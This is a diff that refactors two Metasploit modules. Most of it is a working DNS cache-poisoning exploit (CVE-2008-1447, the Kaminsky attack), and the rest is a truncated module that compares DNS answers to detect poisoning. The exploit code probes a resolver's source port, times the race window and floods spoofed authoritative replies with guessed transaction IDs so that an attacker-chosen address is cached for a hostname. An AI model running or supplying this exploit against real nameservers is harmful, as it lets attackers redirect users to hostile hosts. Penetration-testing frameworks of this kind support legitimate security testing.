super(
|
||||
update_info(
|
||||
info,
|
||||
'Name' => 'DNS BailiWicked Host Attack',
|
||||
'Description' => %q{
|
||||
This exploit attacks a fairly ubiquitous flaw in DNS implementations which
|
||||
Dan Kaminsky found and disclosed ~Jul 2008. This exploit caches a single
|
||||
malicious host entry into the target nameserver by sending random hostname
|
||||
queries to the target DNS server coupled with spoofed replies to those
|
||||
queries from the authoritative nameservers for that domain. Eventually, a
|
||||
guessed ID will match, the spoofed packet will get accepted, and due to the
|
||||
additional hostname entry being within bailiwick constraints of the original
|
||||
request the malicious host entry will get cached.
|
||||
},
|
||||
'Author' => [ 'I)ruid', 'hdm' ],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' => [
|
||||
[ 'CVE', '2008-1447' ],
|
||||
[ 'OSVDB', '46776'],
|
||||
[ 'US-CERT-VU', '800113' ],
|
||||
[ 'URL', 'http://web.archive.org/web/20160606120102/http://www.caughq.org:80/exploits/CAU-EX-2008-0002.txt' ],
|
||||
],
|
||||
'DisclosureDate' => '2008-07-21'
|
||||
))
|
||||
'DisclosureDate' => '2008-07-21',
|
||||
'Notes' => {
|
||||
'Stability' => [SERVICE_RESOURCE_LOSS],
|
||||
'SideEffects' => [IOC_IN_LOGS],
|
||||
'Reliability' => []
|
||||
}
|
||||
)
|
||||
)
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptEnum.new('SRCADDR', [true, 'The source address to use for sending the queries', 'Real', ['Real', 'Random'], 'Real']),
|
||||
OptPort.new('SRCPORT', [true, "The target server's source query port (0 for automatic)", nil]),
|
||||
OptString.new('HOSTNAME', [true, 'Hostname to hijack', 'pwned.example.com']),
|
||||
OptAddress.new('NEWADDR', [true, 'New address for hostname', '1.3.3.7']),
|
||||
OptAddress.new('RECONS', [true, 'The nameserver used for reconnaissance', '208.67.222.222']),
|
||||
OptInt.new('XIDS', [true, 'The number of XIDs to try for each query (0 for automatic)', 0]),
|
||||
OptInt.new('TTL', [true, 'The TTL for the malicious host entry', rand(20000)+30000]),
|
||||
register_options(
|
||||
[
|
||||
OptEnum.new('SRCADDR', [true, 'The source address to use for sending the queries', 'Real', ['Real', 'Random'], 'Real']),
|
||||
OptPort.new('SRCPORT', [true, "The target server's source query port (0 for automatic)", nil]),
|
||||
OptString.new('HOSTNAME', [true, 'Hostname to hijack', 'pwned.example.com']),
|
||||
OptAddress.new('NEWADDR', [true, 'New address for hostname', '1.3.3.7']),
|
||||
OptAddress.new('RECONS', [true, 'The nameserver used for reconnaissance', '208.67.222.222']),
|
||||
OptInt.new('XIDS', [true, 'The number of XIDs to try for each query (0 for automatic)', 0]),
|
||||
OptInt.new('TTL', [true, 'The TTL for the malicious host entry', rand(30000..49999)]),
|
||||
|
||||
])
|
||||
|
||||
deregister_options('FILTER','PCAPFILE')
|
||||
]
|
||||
)
|
||||
|
||||
deregister_options('FILTER', 'PCAPFILE')
|
||||
end
|
||||
|
||||
def auxiliary_commands
|
||||
return {
|
||||
"racer" => "Determine the size of the window for the target server"
|
||||
'racer' => 'Determine the size of the window for the target server'
|
||||
}
|
||||
end
|
||||
|
||||
def cmd_racer(*args)
|
||||
targ = args[0] || rhost()
|
||||
dom = args[1] || "example.com"
|
||||
targ = args[0] || rhost
|
||||
dom = args[1] || 'example.com'
|
||||
|
||||
if !(targ and targ.length > 0)
|
||||
print_status("usage: racer [dns-server] [domain]")
|
||||
if !(targ && !targ.empty?)
|
||||
print_status('usage: racer [dns-server] [domain]')
|
||||
return
|
||||
end
|
||||
|
||||
@@ -77,90 +85,88 @@ class MetasploitModule < Msf::Auxiliary
|
||||
)
|
||||
|
||||
random = false
|
||||
ports = {}
|
||||
lport = nil
|
||||
reps = 0
|
||||
ports = {}
|
||||
lport = nil
|
||||
reps = 0
|
||||
|
||||
1.upto(30) do |i|
|
||||
|
||||
req = Resolv::DNS::Message.new
|
||||
txt = "spoofprobe-check-#{i}-#{$$}#{(rand()*1000000).to_i}.red.metasploit.com"
|
||||
txt = "spoofprobe-check-#{i}-#{$PROCESS_ID}#{(rand * 1000000).to_i}.red.metasploit.com"
|
||||
req.add_question(txt, Resolv::DNS::Resource::IN::TXT)
|
||||
req.rd = 1
|
||||
|
||||
srv_sock.put(req.encode)
|
||||
res, addr = srv_sock.recvfrom(65535, 1.0)
|
||||
res, = srv_sock.recvfrom(65535, 1.0)
|
||||
|
||||
|
||||
if res and res.length > 0
|
||||
if res && !res.empty?
|
||||
reps += 1
|
||||
res = Resolv::DNS::Message.decode(res)
|
||||
res.each_answer do |name, ttl, data|
|
||||
if (name.to_s == txt and data.strings.join('') =~ /^([^\s]+)\s+.*red\.metasploit\.com/m)
|
||||
t_addr, t_port = $1.split(':')
|
||||
res.each_answer do |name, _ttl, data|
|
||||
next unless (name.to_s == txt) && data.strings.join('') =~ (/^([^\s]+)\s+.*red\.metasploit\.com/m)
|
||||
|
||||
vprint_status(" >> ADDRESS: #{t_addr} PORT: #{t_port}")
|
||||
t_port = t_port.to_i
|
||||
if(lport and lport != t_port)
|
||||
random = true
|
||||
end
|
||||
lport = t_port
|
||||
ports[t_port] ||=0
|
||||
ports[t_port] +=1
|
||||
t_addr, t_port = ::Regexp.last_match(1).split(':')
|
||||
|
||||
vprint_status(" >> ADDRESS: #{t_addr} PORT: #{t_port}")
|
||||
t_port = t_port.to_i
|
||||
if lport && (lport != t_port)
|
||||
random = true
|
||||
end
|
||||
lport = t_port
|
||||
ports[t_port] ||= 0
|
||||
ports[t_port] += 1
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
if(i>5 and ports.keys.length == 0)
|
||||
if (i > 5) && ports.keys.empty?
|
||||
break
|
||||
end
|
||||
end
|
||||
|
||||
srv_sock.close
|
||||
|
||||
if(ports.keys.length == 0)
|
||||
vprint_error("ERROR: This server is not replying to recursive requests")
|
||||
if ports.keys.empty?
|
||||
vprint_error('ERROR: This server is not replying to recursive requests')
|
||||
return Exploit::CheckCode::Unknown
|
||||
end
|
||||
|
||||
if(reps < 30)
|
||||
vprint_warning("WARNING: This server did not reply to all of our requests")
|
||||
if (reps < 30)
|
||||
vprint_warning('WARNING: This server did not reply to all of our requests')
|
||||
end
|
||||
|
||||
if(random)
|
||||
ports_u = ports.keys.length
|
||||
ports_r = ((ports.keys.length/30.0)*100).to_i
|
||||
print_status("PASS: This server does not use a static source port. Randomness: #{ports_u}/30 %#{ports_r}")
|
||||
if(ports_r != 100)
|
||||
vprint_status("INFO: This server's source ports are not really random and may still be exploitable, but not by this tool.")
|
||||
# Not exploitable by this tool, so we lower this to Appears on purpose to lower the user's confidence
|
||||
return Exploit::CheckCode::Appears
|
||||
end
|
||||
else
|
||||
vprint_error("FAIL: This server uses a static source port and is vulnerable to poisoning")
|
||||
unless random
|
||||
vprint_error('FAIL: This server uses a static source port and is vulnerable to poisoning')
|
||||
return Exploit::CheckCode::Vulnerable
|
||||
end
|
||||
|
||||
ports_u = ports.keys.length
|
||||
ports_r = ((ports.keys.length / 30.0) * 100).to_i
|
||||
print_status("PASS: This server does not use a static source port. Randomness: #{ports_u}/30 %#{ports_r}")
|
||||
|
||||
if (ports_r != 100)
|
||||
vprint_status("INFO: This server's source ports are not really random and may still be exploitable, but not by this tool.")
|
||||
# Not exploitable by this tool, so we lower this to Appears on purpose to lower the user's confidence
|
||||
return Exploit::CheckCode::Appears
|
||||
end
|
||||
|
||||
Exploit::CheckCode::Safe
|
||||
end
|
||||
|
||||
def run
|
||||
check_pcaprub_loaded # Check first.
|
||||
|
||||
target = rhost()
|
||||
source = Rex::Socket.source_address(target)
|
||||
saddr = datastore['SRCADDR']
|
||||
sport = datastore['SRCPORT']
|
||||
target = rhost
|
||||
source = Rex::Socket.source_address(target)
|
||||
saddr = datastore['SRCADDR']
|
||||
sport = datastore['SRCPORT']
|
||||
hostname = datastore['HOSTNAME'] + '.'
|
||||
address = datastore['NEWADDR']
|
||||
recons = datastore['RECONS']
|
||||
xids = datastore['XIDS'].to_i
|
||||
newttl = datastore['TTL'].to_i
|
||||
xidbase = rand(20001) + 20000
|
||||
address = datastore['NEWADDR']
|
||||
recons = datastore['RECONS']
|
||||
xids = datastore['XIDS'].to_i
|
||||
newttl = datastore['TTL'].to_i
|
||||
xidbase = rand(20000..40000)
|
||||
numxids = xids
|
||||
|
||||
domain = hostname.sub(/\w+\x2e/,"")
|
||||
domain = hostname.sub(/\w+\x2e/, '')
|
||||
|
||||
srv_sock = Rex::Socket.create_udp(
|
||||
'PeerHost' => target,
|
||||
@@ -170,24 +176,24 @@ class MetasploitModule < Msf::Auxiliary
|
||||
# Get the source port via the metasploit service if it's not set
|
||||
if sport.to_i == 0
|
||||
req = Resolv::DNS::Message.new
|
||||
txt = "spoofprobe-#{$$}#{(rand()*1000000).to_i}.red.metasploit.com"
|
||||
txt = "spoofprobe-#{$PROCESS_ID}#{(rand * 1000000).to_i}.red.metasploit.com"
|
||||
req.add_question(txt, Resolv::DNS::Resource::IN::TXT)
|
||||
req.rd = 1
|
||||
|
||||
srv_sock.put(req.encode)
|
||||
res, addr = srv_sock.recvfrom()
|
||||
res, = srv_sock.recvfrom
|
||||
|
||||
if res and res.length > 0
|
||||
if res && !res.empty?
|
||||
res = Resolv::DNS::Message.decode(res)
|
||||
res.each_answer do |name, ttl, data|
|
||||
if (name.to_s == txt and data.strings.join('') =~ /^([^\s]+)\s+.*red\.metasploit\.com/m)
|
||||
t_addr, t_port = $1.split(':')
|
||||
sport = t_port.to_i
|
||||
res.each_answer do |name, _ttl, data|
|
||||
next unless (name.to_s == txt) && data.strings.join('') =~ (/^([^\s]+)\s+.*red\.metasploit\.com/m)
|
||||
|
||||
print_status("Switching to target port #{sport} based on Metasploit service")
|
||||
if target != t_addr
|
||||
print_status("Warning: target address #{target} is not the same as the nameserver's query source address #{t_addr}!")
|
||||
end
|
||||
t_addr, t_port = ::Regexp.last_match(1).split(':')
|
||||
sport = t_port.to_i
|
||||
|
||||
print_status("Switching to target port #{sport} based on Metasploit service")
|
||||
if target != t_addr
|
||||
print_status("Warning: target address #{target} is not the same as the nameserver's query source address #{t_addr}!")
|
||||
end
|
||||
end
|
||||
end
|
||||
@@ -199,76 +205,75 @@ class MetasploitModule < Msf::Auxiliary
|
||||
query.add_question(hostname, Resolv::DNS::Resource::IN::A)
|
||||
query.rd = 0
|
||||
|
||||
begin
|
||||
loop do
|
||||
cached = false
|
||||
srv_sock.put(query.encode)
|
||||
answer, addr = srv_sock.recvfrom()
|
||||
answer, = srv_sock.recvfrom
|
||||
|
||||
if answer and answer.length > 0
|
||||
if answer && !answer.empty?
|
||||
answer = Resolv::DNS::Message.decode(answer)
|
||||
answer.each_answer do |name, ttl, data|
|
||||
answer.each_answer do |name, ttl, _data|
|
||||
next unless ((name.to_s + '.') == hostname)
|
||||
|
||||
if((name.to_s + ".") == hostname)
|
||||
t = Time.now + ttl
|
||||
print_error("Failure: This hostname is already in the target cache: #{name}")
|
||||
print_error(" Cache entry expires on #{t}... sleeping.")
|
||||
cached = true
|
||||
select(nil,nil,nil,ttl)
|
||||
end
|
||||
t = Time.now + ttl
|
||||
print_error("Failure: This hostname is already in the target cache: #{name}")
|
||||
print_error(" Cache entry expires on #{t}... sleeping.")
|
||||
cached = true
|
||||
select(nil, nil, nil, ttl)
|
||||
end
|
||||
|
||||
end
|
||||
end until not cached
|
||||
break if !cached
|
||||
end
|
||||
rescue ::Interrupt
|
||||
raise $!
|
||||
rescue ::Exception => e
|
||||
raise $ERROR_INFO
|
||||
rescue StandardError => e
|
||||
print_error("Error checking the DNS name: #{e.class} #{e} #{e.backtrace}")
|
||||
end
|
||||
|
||||
res0 = Net::DNS::Resolver.new(:nameservers => [recons], :dns_search => false, :recursive => true) # reconnaissance resolver
|
||||
res0 = Net::DNS::Resolver.new(nameservers: [recons], dns_search: false, recursive: true) # reconnaissance resolver
|
||||
|
||||
print_status "Targeting nameserver #{target} for injection of #{hostname} as #{address}"
|
||||
|
||||
# Look up the nameservers for the domain
|
||||
print_status "Querying recon nameserver for #{domain}'s nameservers..."
|
||||
answer0 = res0.send(domain, Net::DNS::NS)
|
||||
#print_status " Got answer with #{answer0.header.anCount} answers, #{answer0.header.nsCount} authorities"
|
||||
# print_status " Got answer with #{answer0.header.anCount} answers, #{answer0.header.nsCount} authorities"
|
||||
|
||||
barbs = [] # storage for nameservers
|
||||
answer0.answer.each do |rr0|
|
||||
print_status " Got an #{rr0.type} record: #{rr0.inspect}"
|
||||
if rr0.type == 'NS'
|
||||
print_status " Querying recon nameserver for address of #{rr0.nsdname}..."
|
||||
answer1 = res0.send(rr0.nsdname) # get the ns's answer for the hostname
|
||||
#print_status " Got answer with #{answer1.header.anCount} answers, #{answer1.header.nsCount} authorities"
|
||||
answer1.answer.each do |rr1|
|
||||
print_status " Got an #{rr1.type} record: #{rr1.inspect}"
|
||||
res2 = Net::DNS::Resolver.new(:nameservers => rr1.address, :dns_search => false, :recursive => false, :retry => 1)
|
||||
print_status " Checking Authoritativeness: Querying #{rr1.address} for #{domain}..."
|
||||
answer2 = res2.send(domain, Net::DNS::SOA)
|
||||
if answer2 and answer2.header.auth? and answer2.header.anCount >= 1
|
||||
nsrec = {:name => rr0.nsdname, :addr => rr1.address}
|
||||
barbs << nsrec
|
||||
print_status " #{rr0.nsdname} is authoritative for #{domain}, adding to list of nameservers to spoof as"
|
||||
end
|
||||
end
|
||||
next unless rr0.type == 'NS'
|
||||
|
||||
print_status " Querying recon nameserver for address of #{rr0.nsdname}..."
|
||||
answer1 = res0.send(rr0.nsdname) # get the ns's answer for the hostname
|
||||
# print_status " Got answer with #{answer1.header.anCount} answers, #{answer1.header.nsCount} authorities"
|
||||
answer1.answer.each do |rr1|
|
||||
print_status " Got an #{rr1.type} record: #{rr1.inspect}"
|
||||
res2 = Net::DNS::Resolver.new(nameservers: rr1.address, dns_search: false, recursive: false, retry: 1)
|
||||
print_status " Checking Authoritativeness: Querying #{rr1.address} for #{domain}..."
|
||||
answer2 = res2.send(domain, Net::DNS::SOA)
|
||||
next unless answer2 && answer2.header.auth? && (answer2.header.anCount >= 1)
|
||||
|
||||
nsrec = { name: rr0.nsdname, addr: rr1.address }
|
||||
barbs << nsrec
|
||||
print_status " #{rr0.nsdname} is authoritative for #{domain}, adding to list of nameservers to spoof as"
|
||||
end
|
||||
end
|
||||
|
||||
if barbs.length == 0
|
||||
print_status( "No DNS servers found.")
|
||||
if barbs.empty?
|
||||
print_status('No DNS servers found.')
|
||||
srv_sock.close
|
||||
close_pcap
|
||||
return
|
||||
end
|
||||
|
||||
|
||||
if(xids == 0)
|
||||
print_status("Calculating the number of spoofed replies to send per query...")
|
||||
if (xids == 0)
|
||||
print_status('Calculating the number of spoofed replies to send per query...')
|
||||
qcnt = calculate_race(target, domain, 100)
|
||||
numxids = ((qcnt * 1.5) / barbs.length).to_i
|
||||
if(numxids == 0)
|
||||
print_status("The server did not reply, giving up.")
|
||||
if (numxids == 0)
|
||||
print_status('The server did not reply, giving up.')
|
||||
srv_sock.close
|
||||
close_pcap
|
||||
return
|
||||
@@ -280,13 +285,12 @@ class MetasploitModule < Msf::Auxiliary
|
||||
queries = 0
|
||||
responses = 0
|
||||
|
||||
open_pcap unless capture
|
||||
|
||||
open_pcap unless self.capture
|
||||
print_status("Attempting to inject a poison record for #{hostname} into #{target}:#{sport}...")
|
||||
|
||||
print_status( "Attempting to inject a poison record for #{hostname} into #{target}:#{sport}...")
|
||||
|
||||
while true
|
||||
randhost = Rex::Text.rand_text_alphanumeric(rand(10)+10) + '.' + domain # randomize the hostname
|
||||
loop do
|
||||
randhost = Rex::Text.rand_text_alphanumeric(10..19) + '.' + domain # randomize the hostname
|
||||
|
||||
# Send spoofed query
|
||||
req = Resolv::DNS::Message.new
|
||||
@@ -297,15 +301,15 @@ class MetasploitModule < Msf::Auxiliary
|
||||
|
||||
src_ip = source
|
||||
|
||||
if(saddr == 'Random')
|
||||
src_ip = Rex::Text.rand_text(4).unpack("C4").join(".")
|
||||
if (saddr == 'Random')
|
||||
src_ip = Rex::Text.rand_text(4).unpack('C4').join('.')
|
||||
end
|
||||
|
||||
p = PacketFu::UDPPacket.new
|
||||
p.ip_saddr = src_ip
|
||||
p.ip_daddr = target
|
||||
p.ip_ttl = 255
|
||||
p.udp_sport = (rand((2**16)-1024)+1024).to_i
|
||||
p.udp_sport = (rand((2**16) - 1024) + 1024).to_i
|
||||
p.udp_dport = 53
|
||||
p.payload = req.encode
|
||||
p.recalc
|
||||
@@ -325,7 +329,7 @@ class MetasploitModule < Msf::Auxiliary
|
||||
p.udp_sport = 53
|
||||
p.udp_dport = sport.to_i
|
||||
|
||||
xidbase.upto(xidbase+numxids-1) do |id|
|
||||
xidbase.upto(xidbase + numxids - 1) do |id|
|
||||
req.id = id
|
||||
p.payload = req.encode
|
||||
barbs.each do |barb|
|
||||
@@ -339,12 +343,12 @@ class MetasploitModule < Msf::Auxiliary
|
||||
# status update
|
||||
if queries % 1000 == 0
|
||||
print_status("Sent #{queries} queries and #{responses} spoofed responses...")
|
||||
if(xids == 0)
|
||||
print_status("Recalculating the number of spoofed replies to send per query...")
|
||||
if (xids == 0)
|
||||
print_status('Recalculating the number of spoofed replies to send per query...')
|
||||
qcnt = calculate_race(target, domain, 25)
|
||||
numxids = ((qcnt * 1.5) / barbs.length).to_i
|
||||
if(numxids == 0)
|
||||
print_status("The server has stopped replying, giving up.")
|
||||
if (numxids == 0)
|
||||
print_status('The server has stopped replying, giving up.')
|
||||
srv_sock.close
|
||||
close_pcap
|
||||
return
|
||||
@@ -354,31 +358,31 @@ class MetasploitModule < Msf::Auxiliary
|
||||
end
|
||||
|
||||
# every so often, check and see if the target is poisoned...
|
||||
if queries % 250 == 0
|
||||
begin
|
||||
query = Resolv::DNS::Message.new
|
||||
query.add_question(hostname, Resolv::DNS::Resource::IN::A)
|
||||
query.rd = 0
|
||||
next unless queries % 250 == 0
|
||||
|
||||
srv_sock.put(query.encode)
|
||||
answer, addr = srv_sock.recvfrom()
|
||||
begin
|
||||
query = Resolv::DNS::Message.new
|
||||
query.add_question(hostname, Resolv::DNS::Resource::IN::A)
|
||||
query.rd = 0
|
||||
|
||||
if answer and answer.length > 0
|
||||
answer = Resolv::DNS::Message.decode(answer)
|
||||
answer.each_answer do |name, ttl, data|
|
||||
if((name.to_s + ".") == hostname)
|
||||
print_good("Poisoning successful after #{queries} queries and #{responses} responses: #{name} == #{address}")
|
||||
print_status("TTL: #{ttl} DATA: #{data}")
|
||||
close_pcap
|
||||
return
|
||||
end
|
||||
end
|
||||
srv_sock.put(query.encode)
|
||||
answer, = srv_sock.recvfrom
|
||||
|
||||
if answer && !answer.empty?
|
||||
answer = Resolv::DNS::Message.decode(answer)
|
||||
answer.each_answer do |name, ttl, data|
|
||||
next unless ((name.to_s + '.') == hostname)
|
||||
|
||||
print_good("Poisoning successful after #{queries} queries and #{responses} responses: #{name} == #{address}")
|
||||
print_status("TTL: #{ttl} DATA: #{data}")
|
||||
close_pcap
|
||||
break
|
||||
end
|
||||
rescue ::Interrupt
|
||||
raise $!
|
||||
rescue ::Exception => e
|
||||
print_error("Error querying the DNS name: #{e.class} #{e} #{e.backtrace}")
|
||||
end
|
||||
rescue ::Interrupt
|
||||
raise $ERROR_INFO
|
||||
rescue StandardError => e
|
||||
print_error("Error querying the DNS name: #{e.class} #{e} #{e.backtrace}")
|
||||
end
|
||||
end
|
||||
end
|
||||
@@ -392,22 +396,18 @@ class MetasploitModule < Msf::Auxiliary
|
||||
# a few times to account for each nameserver the cache server
|
||||
# may query for the target domain.
|
||||
#
|
||||
def calculate_race(server, domain, num=50)
|
||||
def calculate_race(server, domain, num = 50)
|
||||
cnt = 0
|
||||
|
||||
q_beg_t = nil
|
||||
q_end_t = nil
|
||||
cnt = 0
|
||||
times = []
|
||||
|
||||
times = []
|
||||
|
||||
hostname = Rex::Text.rand_text_alphanumeric(rand(10)+10) + '.' + domain
|
||||
hostname = Rex::Text.rand_text_alphanumeric(10..19) + '.' + domain
|
||||
|
||||
sock = Rex::Socket.create_udp(
|
||||
'PeerHost' => server,
|
||||
'PeerPort' => 53
|
||||
)
|
||||
|
||||
|
||||
req = Resolv::DNS::Message.new
|
||||
req.add_question(hostname, Resolv::DNS::Resource::IN::A)
|
||||
req.rd = 1
|
||||
@@ -417,17 +417,17 @@ class MetasploitModule < Msf::Auxiliary
|
||||
sock.put(req.encode)
|
||||
req.rd = 0
|
||||
|
||||
while(times.length < num)
|
||||
res, addr = sock.recvfrom(65535, 0.01)
|
||||
while (times.length < num)
|
||||
res, = sock.recvfrom(65535, 0.01)
|
||||
|
||||
if res and res.length > 0
|
||||
if res && !res.empty?
|
||||
res = Resolv::DNS::Message.decode(res)
|
||||
|
||||
if(res.id == 1)
|
||||
if (res.id == 1)
|
||||
times << [Time.now.to_f - q_beg_t, cnt]
|
||||
cnt = 0
|
||||
|
||||
hostname = Rex::Text.rand_text_alphanumeric(rand(10)+10) + '.' + domain
|
||||
hostname = Rex::Text.rand_text_alphanumeric(10..19) + '.' + domain
|
||||
|
||||
sock.close
|
||||
sock = Rex::Socket.create_udp(
|
||||
@@ -453,23 +453,22 @@ class MetasploitModule < Msf::Auxiliary
|
||||
sock.put(req.encode)
|
||||
end
|
||||
|
||||
min_time = (times.map{|i| i[0]}.min * 100).to_i / 100.0
|
||||
max_time = (times.map{|i| i[0]}.max * 100).to_i / 100.0
|
||||
sum = 0
|
||||
times.each{|i| sum += i[0]}
|
||||
avg_time = ( (sum / times.length) * 100).to_i / 100.0
|
||||
min_time = (times.map { |i| i[0] }.min * 100).to_i / 100.0
|
||||
max_time = (times.map { |i| i[0] }.max * 100).to_i / 100.0
|
||||
sum = 0
|
||||
times.each { |i| sum += i[0] }
|
||||
avg_time = ((sum / times.length) * 100).to_i / 100.0
|
||||
|
||||
min_count = times.map{|i| i[1]}.min
|
||||
max_count = times.map{|i| i[1]}.max
|
||||
sum = 0
|
||||
times.each{|i| sum += i[1]}
|
||||
min_count = times.map { |i| i[1] }.min
|
||||
max_count = times.map { |i| i[1] }.max
|
||||
sum = 0
|
||||
times.each { |i| sum += i[1] }
|
||||
avg_count = sum / times.length
|
||||
|
||||
sock.close
|
||||
|
||||
print_status(" race calc: #{times.length} queries | min/max/avg time: #{min_time}/#{max_time}/#{avg_time} | min/max/avg replies: #{min_count}/#{max_count}/#{avg_count}")
|
||||
|
||||
|
||||
# XXX: We should subtract the timing from the target to us (calculated based on 0.50 of our non-recursive query times)
|
||||
avg_count
|
||||
end
|
||||
|
||||
@@ -9,43 +9,49 @@ require 'resolv'
|
||||
class MetasploitModule < Msf::Auxiliary
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'DNS Lookup Result Comparison',
|
||||
'Description' => %q{
|
||||
This module can be used to determine differences
|
||||
in the cache entries between two DNS servers. This is
|
||||
primarily useful for detecting cache poisoning attacks,
|
||||
but can also be used to detect geo-location load balancing.
|
||||
},
|
||||
'Author' => [ 'hdm' ],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
'Name' => 'DNS Lookup Result Comparison',
|
||||
'Description' => %q{
|
||||
This module can be used to determine differences
|
||||
in the cache entries between two DNS servers. This is
|
||||
primarily useful for detecting cache poisoning attacks,
|
||||
but can also be used to detect geo-location load balancing.
|
||||
},
|
||||
'Author' => [ 'hdm' ],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' => [
|
||||
],
|
||||
'DisclosureDate' => '2008-07-21'
|
||||
))
|
||||
'DisclosureDate' => '2008-07-21',
|
||||
'Notes' => {
|
||||
'Stability' => [CRASH_SAFE],
|
||||
'SideEffects' => [],
|
||||
'Reliability' => []
|
||||
}
|
||||
)
|
||||
)
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptAddress.new('BASEDNS', [ true, 'The DNS cache server to use as a baseline', '4.2.2.3' ]),
|
||||
OptAddress.new('TARGDNS', [ true, 'The DNS cache server to test', nil ]),
|
||||
OptString.new('NAMES', [ true, 'The list of host names that should be tested (comma separated)', 'www.google.com,www.yahoo.com,www.msn.com']),
|
||||
OptBool.new('CHECK_AUTHORITY', [ false, 'Set this to true to verify authority records', false ]),
|
||||
OptBool.new('CHECK_ADDITIONAL', [ false, 'Set this to true to verify additional records', false ]),
|
||||
|
||||
])
|
||||
register_options(
|
||||
[
|
||||
OptAddress.new('BASEDNS', [ true, 'The DNS cache server to use as a baseline', '4.2.2.3' ]),
|
||||
OptAddress.new('TARGDNS', [ true, 'The DNS cache server to test', nil ]),
|
||||
OptString.new('NAMES', [ true, 'The list of host names that should be tested (comma separated)', 'www.google.com,www.yahoo.com,www.msn.com']),
|
||||
OptBool.new('CHECK_AUTHORITY', [ false, 'Set this to true to verify authority records', false ]),
|
||||
OptBool.new('CHECK_ADDITIONAL', [ false, 'Set this to true to verify additional records', false ]),
|
||||
|
||||
]
|
||||
)
|
||||
end
|
||||
|
||||
|
||||
def run
|
||||
base_addr = datastore['BASEDNS']
|
||||
targ_addr = datastore['TARGDNS']
|
||||
check_ar = datastore['CHECK_ADDITIONAL']
|
||||
check_aa = datastore['CHECK_AUTHORITY']
|
||||
names = datastore['NAMES'].split(",").map {|c| c.strip }
|
||||
recurse = true
|
||||
results = {}
|
||||
check_ar = datastore['CHECK_ADDITIONAL']
|
||||
check_aa = datastore['CHECK_AUTHORITY']
|
||||
names = datastore['NAMES'].split(',').map(&:strip)
|
||||
recurse = true
|
||||
results = {}
|
||||
|
||||
print_status("Comparing results between #{base_addr} and #{targ_addr}...")
|
||||
|
||||
@@ -61,7 +67,7 @@ class MetasploitModule < Msf::Auxiliary
|
||||
|
||||
names.each do |entry|
|
||||
entry.strip!
|
||||
next if (entry.length == 0)
|
||||
next if entry.empty?
|
||||
|
||||
req = Resolv::DNS::Message.new
|
||||
req.add_question(entry, Resolv::DNS::Resource::IN::A)
|
||||
@@ -72,12 +78,12 @@ class MetasploitModule < Msf::Auxiliary
|
||||
base_sock.put(buf)
|
||||
targ_sock.put(buf)
|
||||
|
||||
base_res, base_saddr = base_sock.recvfrom(65535, 3.0)
|
||||
targ_res, targ_saddr = targ_sock.recvfrom(65535, 3.0)
|
||||
base_res, = base_sock.recvfrom(65535, 3.0)
|
||||
targ_res, = targ_sock.recvfrom(65535, 3.0)
|
||||
|
||||
if !(base_res and targ_res and base_res.length > 0 and targ_res.length > 0)
|
||||
print_error(" Error: The baseline server did not respond to our request.") if ! (base_res and base_res.length > 0)
|
||||
print_error(" Error: The target server did not respond to our request.") if ! (targ_res and targ_res.length > 0)
|
||||
if !(base_res && targ_res && !base_res.empty? && !targ_res.empty?)
|
||||
print_error(' Error: The baseline server did not respond to our request.') if !(base_res && !base_res.empty?)
|
||||
print_error(' Error: The target server did not respond to our request.') if !(targ_res && !targ_res.empty?)
|
||||
next
|
||||
end
|
||||
|
||||
@@ -88,13 +94,13 @@ class MetasploitModule < Msf::Auxiliary
|
||||
hkey = (res == base_res) ? :base : :targ
|
||||
|
||||
rrset = res.answer
|
||||
rrset += res.authority if check_aa
|
||||
rrset += res.authority if check_aa
|
||||
rrset += res.additional if check_ar
|
||||
|
||||
(rrset).each do |ref|
|
||||
name,ttl,data = ref
|
||||
rrset.each do |ref|
|
||||
name, _, data = ref
|
||||
|
||||
name = name.to_s
|
||||
name.to_s
|
||||
anst = data.class.to_s.gsub(/^.*Resolv::DNS::Resource::IN::/, '')
|
||||
case data
|
||||
when Resolv::DNS::Resource::IN::NS
|
||||
@@ -111,40 +117,37 @@ class MetasploitModule < Msf::Auxiliary
|
||||
data = anst
|
||||
end
|
||||
|
||||
results[entry]||={}
|
||||
results[entry][hkey]||={}
|
||||
results[entry][hkey][anst]||=[]
|
||||
results[entry] ||= {}
|
||||
results[entry][hkey] ||= {}
|
||||
results[entry][hkey][anst] ||= []
|
||||
results[entry][hkey][anst] << data
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
[ base_sock, targ_sock ].each {|s| s.close }
|
||||
|
||||
[ base_sock, targ_sock ].each(&:close)
|
||||
|
||||
print_status("Analyzing results for #{results.keys.length} entries...")
|
||||
|
||||
results.each_key do |entry|
|
||||
|
||||
n_add = []
|
||||
n_sub = []
|
||||
|
||||
# Look for additional entries in the target NS
|
||||
if(results[entry][:targ])
|
||||
if (results[entry][:targ])
|
||||
results[entry][:targ].each_key do |rtype|
|
||||
if(not results[entry][:base] or not results[entry][:base][rtype])
|
||||
results[entry][:targ][rtype].sort.each do |ref|
|
||||
n_sub << (" + #{entry} #{rtype} #{ref}")
|
||||
end
|
||||
next unless !(results[entry][:base]) || !(results[entry][:base][rtype])
|
||||
|
||||
results[entry][:targ][rtype].sort.each do |ref|
|
||||
n_sub << (" + #{entry} #{rtype} #{ref}")
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
if (results[entry][:base])
|
||||
results[entry][:base].each_key do |rtype|
|
||||
|
||||
# Look for missing entries in the target NS
|
||||
if(not results[entry][:targ] or not results[entry][:targ][rtype])
|
||||
if !(results[entry][:targ]) || !(results[entry][:targ][rtype])
|
||||
results[entry][:base][rtype].sort.each do |ref|
|
||||
n_sub << (" - #{entry} #{rtype} #{ref}")
|
||||
end
|
||||
@@ -152,24 +155,23 @@ class MetasploitModule < Msf::Auxiliary
|
||||
end
|
||||
|
||||
# Look for differences
|
||||
if( results[entry][:base][rtype].sort != results[entry][:targ][rtype].sort )
|
||||
results[entry][:base][rtype].sort.each do |ref|
|
||||
if(not results[entry][:targ][rtype].include?(ref))
|
||||
n_sub << (" - #{entry} #{rtype} #{ref}")
|
||||
end
|
||||
next unless (results[entry][:base][rtype].sort != results[entry][:targ][rtype].sort)
|
||||
|
